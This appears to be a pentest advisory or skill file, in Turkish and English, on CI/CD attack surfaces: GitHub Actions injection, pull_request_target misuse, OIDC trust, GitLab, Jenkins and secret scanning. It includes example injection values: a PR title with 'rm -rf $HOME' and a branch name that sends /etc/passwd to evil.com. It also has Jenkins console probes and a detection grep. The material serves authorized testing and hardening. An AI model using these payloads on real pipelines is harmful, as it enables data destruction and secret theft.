pentest-cicd
CI/CD pipeline saldiri yuzeyi advisory. Yetkili engagement icinde repository erisimi varsayar.
Triggers
- "CI/CD pentest"
- "GitHub Actions zafiyet"
- "GitLab CI test"
- "Jenkins guvenlik"
- "workflow injection"
- "OIDC token abuse"
- "supply chain pentest"
Saldiri Yuzeyi Haritasi
| Bilesen | Yaygin Zafiyet |
|---|---|
| Source repo | Secret leak (env, .pem, .key) |
| Workflow file | Injection via PR title, comment, branch name |
| Runner | Self-hosted runner takeover |
| Secret store | Env var sizintisi log'da |
| OIDC trust | Cloud provider'a yetki sizintisi |
| Action marketplace | Compromised 3rd party action |
| Artifact | Build artifact'i exfil veya degistir |
| Cache | Cache poisoning (sonraki build alir) |
GitHub Actions Spesifik
Yaygin Injection Pattern
# UNSAFE — PR title icine ${{ kod }} -> shell injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"
# Saldiri: PR title = `";rm -rf $HOME ;echo "`
# Calisan komut: echo "Processing PR: ";rm -rf $HOME ;echo ""
# SAFE
- run: echo "Processing PR: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
pull_request_target Zafiyeti
# UNSAFE — fork PR ile secrets erisilebilir
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # fork code calistirir
- run: npm install # fork malicious npm script
Detect:
pull_request_target+ checkouthead.sha= HIGH riskpull_request_target+ secret kullanim = HIGH risk
Self-Hosted Runner Takeover
- Public repo + self-hosted runner: anyone can register job
- Fix: organization-level allowlist, ephemeral runner (single job)
OIDC Trust Misconfig
# AWS role trust policy
{
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": "repo:org/repo:*" # cok genis
}
}
}
Fix: :ref:refs/heads/main spesifik branch, :environment:production spesifik env.
GitLab CI Spesifik
# UNSAFE — predefined variable injection
script:
- echo "Branch: ${CI_COMMIT_BRANCH}"
# Saldiri: branch name = `"; curl evil.com/xfil?d=$(cat /etc/passwd); echo "`
CI_JOB_TOKENabuse: cross-project pipeline triggerbefore_scriptglobal override- Compliance pipeline by-pass (mr-only checks bypass with detached pipeline)
Jenkins Spesifik
# Anonymous Jenkins enumeration (QUIET)
curl https://jenkins.example.com/api/json
curl https://jenkins.example.com/script # Groovy console anonymous
# Pipeline definition injection
# Branch name / build parameter Groovy script context
- Script Approval bypass
- Pipeline shared library compromise (npm/git supply chain)
- Credentials plugin: master key + decryption
Secret Leak Detection
# Git history scan (truffleHog v3)
trufflehog git https://github.com/<org>/<repo> --only-verified
# Gitleaks
gitleaks detect --source . --report-path report.json
# detect-secrets (yelp)
detect-secrets scan --all-files > .secrets.baseline
Workflow File Audit
Skill audit komutu (recursive scan):
# Tum .github/workflows/*.yml dosyalarinda risk patterni:
grep -rE "pull_request_target|github.event.(issue|pull_request).body|github.event.(issue|pull_request).title|github.head_ref|github.event.workflow_run" .github/workflows/
# Sonra her hit manuel analiz et: shell context'inde mi
Output Sablonu
## CI/CD Pentest — <repo>
### Bulgu
- [CRITICAL] .github/workflows/lint.yml — pull_request_target + checkout head.sha
-> Fork PR malicious code production secrets'a erisir
- [HIGH] AWS OIDC trust "repo:org/*:*" — herhangi bir branch admin role
- [MEDIUM] gitleaks: 3 expired AWS key git history'de
- [LOW] Self-hosted runner public repo'da (org allowlist eksik)
### Onerisi
- pull_request_target sadece read-only workflow (test, lint) + script env-isolated
- OIDC sub claim spesifiklestir
- Truffle/gitleaks pre-commit hook
- Runner ephemeral mode (actions/runner --ephemeral)
Out-of-Scope
- Production deploy disruption (engagement disinda kalir)
- taraf action repo'larina supply chain attack denemesi
- DoS pipeline (limit asma)